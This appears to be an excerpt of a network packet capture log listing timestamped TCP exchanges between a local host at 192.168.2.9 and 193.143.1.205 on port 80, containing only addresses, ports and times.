Jan 10, 2025 23:46:26.295789957 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295816898 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.295838118 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.295855999 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295869112 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295880079 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295892954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295914888 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.295929909 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.295958996 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295970917 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.295981884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.296031952 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.296736956 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.296749115 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.296760082 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.296782017 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.296802998 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.296808958 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.296817064 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.296828032 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.296849966 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.297313929 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.299319983 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299339056 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299348116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299393892 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299393892 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.299393892 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.299407005 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299452066 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.299552917 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299563885 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299602032 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.299602032 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299631119 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299643040 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299654961 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299671888 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.299701929 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.299854994 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299865961 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.299907923 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.300853968 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.340323925 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.340337038 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.340349913 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.340363979 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.340378046 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.340435982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.340442896 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.340449095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.340460062 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.340462923 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.340491056 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.340500116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.340512037 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.340529919 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.340718985 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.379066944 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379086971 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379100084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379112005 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379122972 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379128933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379143953 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379153967 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379158974 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.379167080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379179001 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379190922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379203081 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.379226923 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.379268885 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379283905 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379326105 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.379393101 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379439116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379441977 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.379451990 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379492998 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.379523993 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379535913 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379548073 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.379578114 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.417361021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417393923 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417411089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417428970 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417444944 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417462111 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417474985 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.417493105 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417499065 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417506933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417522907 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.417551041 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417556047 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.417566061 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417599916 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.417649984 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417665005 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417680025 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417704105 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.417714119 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417742014 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417768002 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.417841911 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417865038 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417880058 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.417885065 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.417927027 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.417989969 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418014050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418028116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418044090 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418052912 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418061018 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418098927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.418102026 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418126106 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.418318987 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418334961 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418350935 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418364048 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.418399096 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.418399096 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418415070 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418430090 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418445110 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418452024 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.418484926 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418502092 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418514967 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.418540001 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.418876886 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418891907 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418905973 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418921947 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418931961 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.418950081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418965101 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418971062 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.418982029 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.418997049 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419007063 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419013023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419028044 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419044018 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419044971 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419066906 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419294119 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419310093 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419332027 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419336081 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419358015 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419373989 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419377089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419379950 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419395924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419442892 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419442892 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419482946 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419497967 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419512033 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419527054 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419542074 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419545889 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419562101 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419646025 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419661045 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419675112 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419683933 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419692993 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419709921 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419722080 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419725895 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419764042 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.419784069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.419826984 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.420218945 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420233965 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420252085 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420295000 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.420322895 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420337915 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420355082 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420363903 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.420370102 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420387983 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420394897 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.420433998 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.420447111 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420461893 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420478106 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420491934 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420500994 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.420509100 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420526028 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420528889 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.420566082 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.420593977 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420608044 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420623064 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420639038 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420644045 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.420664072 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.420686960 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.420938015 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.421144962 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.421160936 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.421178102 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.421195984 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.421219110 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.427164078 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.427187920 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.427201033 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.427252054 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.427267075 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.427282095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.427283049 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.427301884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.427306890 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.427329063 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.427329063 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.427393913 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.465821028 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.465851068 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.465866089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.465881109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.465897083 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.465898991 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.465912104 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.465925932 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.465939045 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.465956926 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.465958118 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.465998888 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.466006994 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466022015 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466037989 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466078043 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466078997 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.466094017 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466131926 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.466325998 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466341019 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466356039 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466372013 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466382980 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.466387987 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466398001 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466408968 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.466413975 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466432095 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.466466904 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.466576099 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466592073 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.466641903 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.478395939 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.504283905 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504333973 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504359007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504374981 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504391909 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504407883 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504412889 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.504412889 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.504425049 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504441977 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504471064 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.504488945 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504503965 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504503965 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.504547119 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.504564047 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504580021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504606962 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504620075 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.504623890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504642963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504661083 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504669905 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.504698038 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.504827023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504841089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504878998 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.504909039 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504925966 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504944086 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504960060 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.504972935 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505002022 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505043983 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505069971 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505086899 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505114079 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505122900 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505140066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505163908 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505178928 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505182981 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505203962 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505212069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505254030 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505449057 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505465031 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505484104 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505516052 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505606890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505623102 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505637884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505652905 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505652905 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505680084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505680084 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505698919 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505714893 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505729914 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505739927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505747080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505752087 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505774975 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505791903 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505795002 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505808115 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505824089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.505831957 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.505867958 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.506212950 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506228924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506243944 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506264925 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.506273031 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506289005 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506314993 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506324053 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.506333113 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506350040 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506361008 CET	49747	80	192.168.2.9	193.143.1.205
